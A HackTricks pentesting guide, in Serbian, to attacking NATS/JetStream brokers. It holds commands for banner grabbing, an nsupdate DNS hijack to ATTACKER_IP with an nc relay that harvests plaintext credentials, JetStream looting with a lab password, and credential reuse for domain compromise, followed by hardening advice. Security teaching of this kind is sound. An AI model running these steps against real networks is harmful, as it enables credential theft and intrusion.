4222 - Pentesting NATS / JetStream
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
NATS je visokoperformansni message bus koji koristi jednostavan tekstualni protokol: server šalje INFO { ... } JSON banner odmah nakon TCP connect, a klijent odgovara sa CONNECT {"user":"USERNAME","pass":"PASSWORD",...} framom praćenim opcionim PING/PUB/SUB komandama. JetStream dodaje primitivе perzistencije (Streams & Consumers) na isti TCP port (4222/tcp). TLS i authentication su opciona, pa mnoga interna deploymenta rade u plaintext AUTH.
- Podrazumevani port: 4222/tcp (4223+ for clustered routes)
- Standardna polja banera:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeracija
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
INFO frame se takođe može ručno povući:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Instalirajte zvanični CLI (Go ≥1.21) za dublju interakciju:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Autentifikacioni neuspeh odmah podiže nats: Authorization Violation, pa su validni kredencijali potrebni za bilo koji smisleni RPC.
Credential capture via DNS/service impersonation
- Identifikujte zastarele AD DNS zapise za broker hostname (npr.
nats-svc.domain.local). Ako zapis vraćaNXDOMAIN, korisnik sa niskim privilegijama u domenu može ga ponovo kreirati zahvaljujući podrazumevanim dynamic-update ACL-ima. See AD DNS Records abuse for background. - Registrujte hostname na IP adresu koju kontroliše napadač:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Preslikaj legitimni banner jednom, zatim ga replay-uj svakom connecting clientu. NATS veruje prvoj
INFOliniji koju vidi, zato ga treba samo proslediti kroz listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Čim interni klijent razreši hijacked name, emitovaće plaintext
CONNECTframe koji sadržiuser/passpar i raznu telemetriju (client name, Go version, protocol level). Pošto ništa posle INFO bannera nije potrebno, čak incje dovoljan za sakupljanje tajni. - Za duže angažmane, pokrenite zvanični server lokalno (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging već prikazuje korisnička imena; uklanjanje redaction helper-a ili presretanje saobraćaja pomoću Wireshark otkriva punu lozinku.
JetStream looting & password hunting
Jednom kada se bilo koji credential povrati (npr. Dev_Account_A), sačuvajte ga kao CLI context da biste izbegli ponovni unos:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Otkrivanje JetStream obično sledi ovaj obrazac:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Timovi za streaming često beleže događaje autentifikacije u subject-e kao što su logs.auth. Ako developeri sačuvaju raw JSON u JetStream stream, payloads mogu uključivati plaintext AD korisnička imena i lozinke:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Zadržane tajne se potom mogu ponovo iskoristiti protiv Kerberos-only servisa koristeći netexec smb DC01 -u USER -p PASS -k, što omogućava potpuni kompromis domena.
Ojačavanje i detekcija
- Primorajte TLS (
tls,tls_required, or mTLS viankey/creds). Bez enkripcije, INFO/CONNECT leaks credentials svima na putu. - Identifikujte ko može da ažurira DNS – delegirajte service records na namenski naloge i auditujte Event IDs 257/252 za hostnames visoke vrednosti. Kombinujte sa scavenging alerts tako da nedostajući broker names ne mogu biti tiho ponovo preuzeti.
- Onemogućite credential logging. Scrub secrets pre objavljivanja na subjects, postavite JetStream retention/age limits, i primenjujte
deny_delete=falsesamo za pouzdane operatore. - Pratite anomalije u bannerima – ponovljene kratkotrajne konekcije, authentication timeouts, ili INFO bannere koji ne odgovaraju odobrenom (blessed) šablonu ukazuju na spoofed servers.
Reference
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

